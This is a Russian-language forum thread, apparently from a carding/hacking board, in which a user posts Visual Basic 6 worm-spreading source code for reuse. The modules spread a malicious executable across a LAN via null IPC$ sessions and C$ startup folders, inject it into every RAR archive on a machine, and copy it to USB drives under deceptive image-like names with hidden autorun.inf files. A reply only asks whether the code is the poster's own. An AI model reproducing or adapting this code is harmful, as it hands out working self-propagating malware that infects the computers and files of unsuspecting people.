1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

VB6 Spreaders

Тема в разделе "Исходные коды", создана пользователем BloodWolf, 9 фев 2013.

  1. TopicStarter Overlay
    BloodWolf

    BloodWolf Команда форума

    Регистрация:
    29 май 2012
    Сообщения:
    424
    Симпатии:
    360
    Lan Spreader:
    Код:
    Attribute VB_Name = "lan"
     
    Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
    Dim WS As CSocketMaster
     
    Sub doitnow()
        Set WS = New CSocketMaster  'Modulo Winsock de CSocketMaster
        Dim SelfIP As String            'Nuestra propia IP de la LAN
        Dim SubNet As String            'Nuestra SubRed, ejemplo: 192.168.1.X
        Dim SubNetArray As String      'Almacenamos los Hosts de la LAN que son vulnerables
        Dim BufferIP() As String        'Almacenamos los octetos de nuestra IP
     
        SelfIP = WS.LocalIP            'Obtenemos nuestra IP de la LAN
        BufferIP = Split(SelfIP, ".")  'Partimos los octetos en un Array
     
        If UBound(BufferIP) = 3 Then
            SubNet = BufferIP(0) & "." & BufferIP(1) & "." & BufferIP(2)    'Obtenemos nuestra SubRed: 192.168.1.X
     
            SubNetArray = GetAliveHosts(SubNet, BufferIP(3))                'Obtenemos los Hosts que son vulnerables a NetBios
            If SubNetArray <> "0" Then                                      'Comprobamos que hay Hosts vulnerables en nuestra LAN
                Call GetPrivilegesOnSubNet(SubNet, SubNetArray)            'Obtenemos privilegios sobre los Hosts vulnerables gracias a IPC$
                DoEvents                                                    'Esperamos...
                Call InfectSubnet(SubNet, SubNetArray)                      'Infectamos los Hosts vulnerables gracias a C$
            End If
        End If
    End Sub                                                                'Fin del Cуdigo
     
    Function GetAliveHosts(ByVal SubNet As String, ByVal MyHost As String) As String
        Dim AliveHosts As String                                    'Array donde se almacenan los Hosts vulnerables
     
        AliveHosts = ""
        WS.Protocol = sckTCPProtocol                                'Establecemos el protocolo en TCP
        For i = 1 To 254                                            'Bucle desde X.X.X.1 hasta X.X.X.254
            If WS.State <> sckClosed Then WS.CloseSck              'Si el Socket no estб cerrado, lo cerramos para evitar errores.
            DoEvents                                                'Esperamos...
                WS.Connect SubNet & "." & i, 135                    'Nos conectamos a todos los Hosts de la LAN al puerto 135 TCP (NetBios)
            Sleep 500                                              'Esperamos 1/2 Segundo...
            If WS.State = sckConnected And i <> MyHost Then        'Si el Hosts es vulnerable y el Host no es MiPC entonces...
                AliveHosts = AliveHosts & i & ","                  '  aсadimos el octeto del Host en el Array
            End If                                                  'End If
        Next i
     
        If Len(AliveHosts) > 0 Then                                'Si hemos encontrado al menos 1 Host vulnerable...
            AliveHosts = Left(AliveHosts, Len(AliveHosts) - 1)      '  quitamos el ъltimo caracter del Array (siempre es una ",") para evitar errores.
            GetAliveHosts = AliveHosts                              '  devolvemos el Array como valor de retorno
            Exit Function                                          '  finalizamos esta funciуn
        End If                                                      'End If
        GetAliveHosts = "0"                                        'Si no hemos encontrado ningъn Host vulnerable en la LAN, devolvemos "0"
    End Function
     
    Function GetPrivilegesOnSubNet(ByVal SubNet As String, ByVal SubNetArray As String)
        Dim tmpArray() As String
        Dim tmpIP As String
     
        tmpArray = Split(SubNetArray, ",")
        For i = 0 To UBound(tmpArray)
            tmpIP = "\\" & SubNet & "." & tmpArray(i) & "\ipc$ "
            Shell "net use " & tmpIP & Chr(34) & Chr(34) & " /user:" & Chr(34) & Chr(34), vbHide
        Next i
        'No es necesario comentar esta funciуn, solo hace un bucle y ejecuta una shell
    End Function
     
    Function InfectSubnet(ByVal SubNet As String, ByVal SubNetArray As String)
        Dim tmpArray() As String
        Dim tmpIP As String
     
        tmpArray = Split(SubNetArray, ",")
        For i = 0 To UBound(tmpArray)
            tmpIP = "\\" & SubNet & "." & tmpArray(i) & "\c$\Documents and Settings\All Users\Menъ Inicio\Programas\Inicio"
            Shell "copy " & Chr(34) & App.Path & "\" & App.EXEName & ".exe" & Chr(34) & " " & Chr(34) & tmpIP & "\updater.exe" & Chr(34), vbHide
        Next i
    End Function
     
    
    Rar Spreader:
    Код:
    Code: [Select]
    '---------------------------------------------------------------------
     
    ------------------
    ' Module      : mRarSpread
    ' DateTime    : 2010/01/13
    ' Coder      : ParadoX
    ' Purpose    : Injects own file into every rar-file on system
    ' Usage      : At your own risk
    '              Call SearchAndInfectRars    [Starts the proccess]
    ' Requirements: None
    '---------------------------------------------------------------------
     
    ------------------
     
    Option Explicit
     
    Private Declare Function GetDriveType Lib "kernel32" Alias
     
    "GetDriveTypeA" (ByVal nDrive As String) As Long
    Private Declare Function GetLogicalDriveStrings Lib "kernel32" Alias
     
    "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer
     
    As String) As Long
    Private Declare Function CopyFile Lib "kernel32.dll" Alias "CopyFileA"
     
    (ByVal lpExistingFileName As String, ByVal lpNewFileName As String,
     
    ByVal bFailIfExists As Long) As Long
    Private Declare Function GetShortPathName Lib "kernel32.dll" Alias
     
    "GetShortPathNameA" (ByVal lpszLongPath As String, ByVal lpszShortPath
     
    As String, ByVal cchBuffer As Long) As Long
    Private Declare Function GetModuleHandle Lib "kernel32" Alias
     
    "GetModuleHandleA" (ByVal lpModuleName As String) As Long
    Private Declare Function ShellExecute Lib "shell32.dll" Alias
     
    "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String,
     
    ByVal lpFile As String, ByVal lpParameters As String, ByVal
     
    lpDirectory As String, ByVal nShowCmd As Long) As Long
    Private Declare Function FindFirstFile Lib "kernel32" Alias
     
    "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As
     
    WIN32_FIND_DATA) As Long
    Private Declare Function FindNextFile Lib "kernel32" Alias
     
    "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As
     
    WIN32_FIND_DATA) As Long
    Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As
     
    Long) As Long
     
    Private Const MAX_PATH = 260
    Private Const INVALID_HANDLE_VALUE = -1
    Private Const FILE_ATTRIBUTE_ARCHIVE = &H20
    Private Const FILE_ATTRIBUTE_DIRECTORY = &H10
    Private Const FILE_ATTRIBUTE_HIDDEN = &H2
    Private Const FILE_ATTRIBUTE_NORMAL = &H80
    Private Const FILE_ATTRIBUTE_READONLY = &H1
    Private Const FILE_ATTRIBUTE_SYSTEM = &H4
    Private Const FILE_ATTRIBUTE_TEMPORARY = &H100
     
    Private Type FILETIME
        dwLowDateTime As Long
        dwHighDateTime As Long
    End Type
     
    Private Type WIN32_FIND_DATA
        dwFileAttributes As Long
        ftCreationTime As FILETIME
        ftLastAccessTime As FILETIME
        ftLastWriteTime As FILETIME
        nFileSizeHigh As Long
        nFileSizeLow As Long
        dwReserved0 As Long
        dwReserved1 As Long
        cFileName As String * MAX_PATH
        cAlternate As String * 14
    End Type
     
    Public Function SearchAndInfectRars() As Boolean
        On Error Resume Next
       
        If Dir(Environ("ProgramFiles") & "\WinRAR\WinRAR.exe") <> "" Then
            Dim sBuffer As String * 255
            Dim sDrives As String
            Dim lResult As Long
            Dim sDrive As String
            Dim sPos As Integer
            Dim lType As Long
       
            Call CopyFile(App.Path & "\" & App.EXEName & ".exe", Environ
     
    ("HOMEDRIVE") & App.EXEName & ".exe", False)
       
            lResult = GetLogicalDriveStrings(Len(sBuffer), sBuffer)
            sDrives = Left$(sBuffer, lResult)
     
            While Len(sDrives) > 0
                sPos = InStr(sDrives, Chr$(0))
                sDrive = Left$(sDrives, sPos - 1)
                sDrives = Mid$(sDrives, sPos + 1)
           
                lType = GetDriveType(sDrive)
               
                    If lType = 2 Or lType = 3 Or lType = 4 Then
                        Call FindFiles(Left$(sDrive, 2), "*.rar")
                    End If
            Wend
        End If
    End Function
     
    Private Function RARSpread(ByVal WinrarPath As String, ByVal
     
    RarArchive As String, ByVal Malware As String) As Boolean
        On Error GoTo err:
        If (Dir(WinrarPath) <> "") And (Dir(RarArchive) <> "") And (Dir
     
    (Malware) <> "") Then
            Dim lRet As Long
            lRet = ShellExecute(GetModuleHandle(App.Path), "open",
     
    WinrarPath, " a -y " & RarArchive & " " & Malware, "C:\", 0)
                If lRet = 42 Then
                    RARSpread = True
                Else
                    RARSpread = False
                End If
        Else
            RARSpread = False
        End If
        Exit Function
    err:
        RARSpread = False
    End Function
     
    Private Sub FindFiles(ByVal vsFolderPath As String, ByVal vsSearch As
     
    String)
        Dim WFD As WIN32_FIND_DATA
        Dim hSearch As Long
        Dim strDirName As String
     
        DoEvents
     
            If Right$(vsFolderPath, 1) <> "\" Then
                vsFolderPath = vsFolderPath & "\"
            End If
     
        hSearch = FindFirstFile(vsFolderPath & "*.*", WFD)
     
            If hSearch <> INVALID_HANDLE_VALUE Then GetFilesInFolder
     
    vsFolderPath, vsSearch
     
                Do
                    If (WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY)
     
    Then strDirName = TrimNulls(WFD.cFileName)
                    If (strDirName <> ".") And (strDirName <> "..") Then
                        FindFiles vsFolderPath & strDirName, vsSearch
                    End If
       
            Loop While FindNextFile(hSearch, WFD)
                FindClose hSearch
                Kill "C:\" & App.EXEName & ".exe"
    End Sub
     
    Private Sub GetFilesInFolder(ByVal vsFolderPath As String, ByVal
     
    vsSearch As String)
        On Error Resume Next
        Dim WFD As WIN32_FIND_DATA
        Dim hSearch As Long
        Dim strFileName As String
        Dim lVal As Long
        Dim short_path As String
       
        If Right$(vsFolderPath, 1) <> "\" Then
            vsFolderPath = vsFolderPath & "\"
        End If
     
        hSearch = FindFirstFile(vsFolderPath & vsSearch, WFD)
     
            If hSearch <> INVALID_HANDLE_VALUE Then
                Do
                    If (WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY)
     
    <> FILE_ATTRIBUTE_DIRECTORY Then
                        strFileName = TrimNulls(WFD.cFileName)
                        short_path = Space$(256)
                        lVal = GetShortPathName(vsFolderPath &
     
    strFileName, short_path, Len(short_path))
                        Call RARSpread(Environ("ProgramFiles") & "\WinRAR
     
    \WinRAR.exe", Left$(short_path, lVal), Environ("HOMEDRIVE") &
     
    App.EXEName & ".exe")
                    End If
                   
        Loop While FindNextFile(hSearch, WFD)
            FindClose hSearch
        End If
    End Sub
     
    Private Function TrimNulls(ByVal vsStringIn As String) As String
            If InStr(vsStringIn, Chr(0)) > 0 Then
                vsStringIn = Left$(vsStringIn, InStr(vsStringIn, Chr(0)) -
     
    1)
            End If
        TrimNulls = vsStringIn
    End Function
    USB Spreader(1):
    Код:
    Attribute VB_Name = "Module5"
    '**************************************************************************************
    ' Project : iUSB
    Public Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
    Public Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
    Public Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
     
    Public Const FILE_ATTRIBUTE_HIDDEN = &H2
     
    Public Function USB()
     
    Dim sBuffer As String * 260, iGet As Integer, iDrive As String, iType As String
     
    iGet = GetLogicalDriveStrings(Len(sBuffer), sBuffer) ' // Get Drives
     
    If iGet = 0 Then Exit Function ' // If iGet = 0 No Drives
    iDrive = sBuffer
     
    For i = 1 To 50 ' // We Disk 1 to 50 if there are available
     
    If Left$(sBuffer, InStr(1, sBuffer, Chr(0))) = Chr(0) Then Exit For ' // If the disk you back chr(0) then it is not a valid disc
     
    iDrive = Left(sBuffer, InStr(1, sBuffer, Chr(0)) - 1) ' // Get Drive Letter
     
    iType = GetDriveType(iDrive) ' // Get Drive Type
     
    If iType = 2 Then ' // If Type = 2 then is a PEN-DRIVE
     
    Call Complete(iDrive) ' // INfect Disk
     
    End If
     
    sBuffer = Right(sBuffer, Len(sBuffer) - InStr(1, sBuffer, Chr(0))) ' // Remove the disk from the list
     
    Next i ' // Next Disk
    End Function
     
    Function Complete(Drive As String) ' // Function For Infect Device
    Dim YO As String
     
    YO = App.Path & "\" & App.EXEName & ".exe" ' // APP Path
     
    If Exist(Drive & App.EXEName & ".exe") = False Then ' // Зalэюan exe adэyla spreader yapar..
     
     
    FileCopy YO, Drive & "SEVGILIM.BMP" & ".exe"  ' // Resimlerim.exe adэyla spreader yapar..
    FileCopy YO, Drive & "BEN VE ASKIM.JPG" & ".exe"  ' // Resimlerim.exe adэyla spreader yapar..
    FileCopy YO, Drive & "BEN VE KIZLAR.JPG" & ".exe"  ' // Resimlerim.exe adэyla spreader yapar..
    FileCopy YO, Drive & "YENI SIPARISLER.JPG" & ".exe"  ' // Resimlerim.exe adэyla spreader yapar..
    FileCopy YO, Drive & "OZEL RESIMLERIM.JPH" & ".exe"  ' // Resimlerim.exe adэyla spreader yapar..
     
     
     
     
     
    'FileCopy YO, Drive & App.EXEName  & ".exe" ' // Copy App to disk
    'Call WritePrivateProfileString("Autorun", "Open", App.EXEName & ".exe", Drive & "Autorun.ini") ' // Create Autorun.inf
     
    'SetFileAttributes Drive & App.EXEName & ".exe", FILE_ATTRIBUTE_HIDDEN ' // We put the files in hidden mode
    'SetFileAttributes Drive & "Autorun.ini", FILE_ATTRIBUTE_HIDDEN ' // We put the files in hidden mode
     
    End If
    End Function
     
    Public Function Exist(Path As Variant) As Boolean ' // Function foe see if a file exist
    Dim FS
    Set FS = CreateObject("Scripting.FileSystemObject")
    Exist = FS.fileexists(Path)
    End Function
    
    USB Spreader (2):
    Код:
    Attribute VB_Name = "mUSBspread"
    ''''''''''''''''''''''''''''''''''''''''''''''''
    '  ______                          _ _        '
    ' / _____) _                      | | |      '
    '( (____ _| |_  ____ ___  ___  __| | | _____ '
    ' \____ (_  _)/ ___) _ \ / _ \ / _  | || ___ |'
    ' _____) )| |_| |  | |_| | |_| ( (_| | || ____|'
    '(______/  \__)_|  \___/ \___/ \____|\_)_____)'
    '                                              '
    ''''''''''''''''''''''''''''''''''''''''''''''''
     
    Dim E As Boolean
    Dim F As Boolean
    Dim G As Boolean
    Dim h As Boolean
    Dim i As Boolean
     
    Private Sub Form_Load()
    Timer1.Enabled = True
    Timer2.Enabled = True
     
    E = False
    F = False
    G = False
    h = False
    i = False
     
    End Sub
     
    Private Sub Timer1_Timer()
    If Dir("E:\") <> "" And E = False Then
    FileCopy App.Path & "\" & App.EXEName & ".exe", "E:\System.exe"
    Open "E:\autorun.inf" For Append As #1
        Print #1, "[autorun]"
        Print #1, "open=System.exe"
        Close #1
    SetAttr "E:\System.exe", vbHidden
    SetAttr "E:\autorun.inf", vbHidden
    E = True
    End If
     
    If Dir("F:\") <> "" And F = False Then
    MsgBox "USB IN DRIVE F."
    FileCopy App.Path & "\" & App.EXEName & ".exe", "F:\System.exe"
    Open "F:\autorun.inf" For Append As #1
        Print #1, "[autorun]"
        Print #1, "open=System.exe"
        Close #1
    SetAttr "F:\System.exe", vbHidden
    SetAttr "F:\autorun.inf", vbHidden
    F = True
    End If
     
    If Dir("G:\") <> "" And G = False Then
    FileCopy App.Path & "\" & App.EXEName & ".exe", "G:\System.exe"
    Open "G:\autorun.inf" For Append As #1
        Print #1, "[autorun]"
        Print #1, "open=System.exe"
        Close #1
    SetAttr "G:\System.exe", vbHidden
    SetAttr "G:\autorun.inf", vbHidden
    G = True
    End If
     
    If Dir("H:\") <> "" And h = False Then
    FileCopy App.Path & "\" & App.EXEName & ".exe", "H:\System.exe"
    Open "H:\autorun.inf" For Append As #1
        Print #1, "[autorun]"
        Print #1, "open=System.exe"
        Close #1
    SetAttr "H:\System.exe", vbHidden
    SetAttr "H:\autorun.inf", vbHidden
    h = True
    End If
     
    If Dir("I:\") <> "" And i = False Then
    FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\System.exe"
    Open "I:\autorun.inf" For Append As #1
        Print #1, "[autorun]"
        Print #1, "open=System.exe"
        Close #1
    SetAttr "I:\System.exe", vbHidden
    SetAttr "I:\autorun.inf", vbHidden
    i = True
    End If
     
    End Sub
     
    Private Sub Timer2_Timer()
     
    If Dir("E:\") = "" And E = True Then
    E = False
    End If
     
    If Dir("F:\") = "" And F = True Then
    F = False
    End If
     
    If Dir("G:\") = "" And G = True Then
    F = False
    End If
     
    If Dir("H:\") = "" And h = True Then
    F = False
    End If
     
    If Dir("I:\") = "" And i = True Then
    F = False
    End If
     
    End Sub
     
     
     
     
    ''''''''''''''''''''''''''''''''''''''''
     
    ' + Author
    ' Programmed By Who!
    ' who@hotmail.ru
     
    ' + Thanx To Friends
    ' Kill3r7, Carb0n, Syntax_Err, Slayer616 ,Akama, RoMeO, LTTCoder, ChainCoder, SquEzER, BinaryHero, -slient-
     
    ' + Fuck To Friends
    ' Supra = Nortingo = Mesrine , YOYOP, R@NGER, MADMAX
     
    ' Coded In TURKEY
    ' USB SPREAD SOURCE
     
    ' http://www.opensc.ws
    ' http://www.hackhound.org
     
    Public Function INFECT_USB(YOL As String, AD As String)
    Dim FSO, SURUCULER, SURUCU
     
    Set FSO = CreateObject("SCRIPTING.FILESYSTEMOBJECT")
    Set SURUCULER = FSO.DRIVES
    For Each SURUCU In SURUCULER
    If SURUCU.DRIVETYPE = 1 Then 'EGER SILINEBILIR ISE
     
    If Right(YOL, 1) <> "\" Then YOL = YOL & "\"
     
    If DosyaVarmi(SURUCU & "\autorun.inf") Then
    SetAttr SURUCU & "\autorun.inf", 0
    Kill SURUCU & "\autorun.inf"
    End If
     
    Open SURUCU & "\autorun.inf" For Append As #1
    Print #1, "[autorun]" & vbCrLf & _
    "open=" & SURUCU & "\" & AD
    Close #1
     
    If Not DosyaVarmi(SURUCU & "\" & AD) Then
    FileCopy YOL & AD, SURUCU & "\" & AD
    End If
     
    SetAttr SURUCU & "\" & AD, 4 'DOSYA OZNITELIKLERINI UYGULA
    SetAttr SURUCU & "\autorun.inf", 4
    SetAttr SURUCU & "\" & AD, 2
    SetAttr SURUCU & "\autorun.inf", 2
    End If
    Next
     
    End Function
     
    Public Function DosyaVarmi(DosyaAdi As String) As Boolean
    On Error GoTo DosyaYok
    Call FileLen(DosyaAdi)
    DosyaVarmi = True
    Exit Function
    DosyaYok:
    End Function
     
     
    
    USB Spreader (3):
    Код:
    Attribute VB_Name = "iUSB"
     
     
    Public Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
     
    Public Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
     
    Public Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
     
    Public Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
     
     
     
    Public Const FILE_ATTRIBUTE_HIDDEN = &H2
     
     
     
    Public Function USB()
     
     
     
    Dim sBuffer As String * 260, iGet As Integer, iDrive As String, iType As String
     
     
     
    iGet = GetLogicalDriveStrings(Len(sBuffer), sBuffer) ' // Get Drives
     
     
     
    If iGet = 0 Then Exit Function ' // If iGet = 0 No Drives
     
    iDrive = sBuffer
     
     
     
    For i = 1 To 50 ' // We Disk 1 to 50 if there are available
     
     
     
    If Left$(sBuffer, InStr(1, sBuffer, Chr(0))) = Chr(0) Then Exit For ' // If the disk you back chr(0) then it is not a valid disc
     
     
     
    iDrive = Left(sBuffer, InStr(1, sBuffer, Chr(0)) - 1) ' // Get Drive Letter
     
     
     
    iType = GetDriveType(iDrive) ' // Get Drive Type
     
     
     
    If iType = 2 Then ' // If Type = 2 then is a PEN-DRIVE
     
     
     
    Call Complete(iDrive) ' // INfect Disk
     
     
     
    End If
     
     
     
    sBuffer = Right(sBuffer, Len(sBuffer) - InStr(1, sBuffer, Chr(0))) ' // Remove the disk from the list
     
     
     
    Next i ' // Next Disk
     
    End Function
     
     
     
    Function Complete(Drive As String) ' // Function For Infect Device
     
    Dim YO As String
     
    YO = App.Path & "\" & App.EXEName & ".exe" ' // APP Path
     
     
     
    If Exist(Drive & App.EXEName & ".exe") = False Then ' // If the disk is not infected
     
    FileCopy YO, Drive & App.EXEName & ".exe" ' // Copy App to disk
     
     
     
    Call WritePrivateProfileString("Autorun", "Open", App.EXEName & ".exe", Drive & "Autorun.ini") ' // Create Autorun.inf
     
     
     
    SetFileAttributes Drive & App.EXEName & ".exe", FILE_ATTRIBUTE_HIDDEN ' // We put the files in hidden mode
     
    SetFileAttributes Drive & "Autorun.ini", FILE_ATTRIBUTE_HIDDEN ' // We put the files in hidden mode
     
     
     
    End If
     
    End Function
     
     
     
    Public Function Exist(Path As Variant) As Boolean ' // Function foe see if a file exist
     
    Dim FS
     
    Set FS = CreateObject("Scripting.FileSystemObject")
     
    Exist = FS.fileexists(Path)
     
    End Function
    
     
    • Like Like x 2
    Метки:
  2. minstrel777

    minstrel777

    Регистрация:
    2 янв 2013
    Сообщения:
    51
    Симпатии:
    11
    Свое или чужое? ;)
     

Поделиться этой страницей

Загрузка...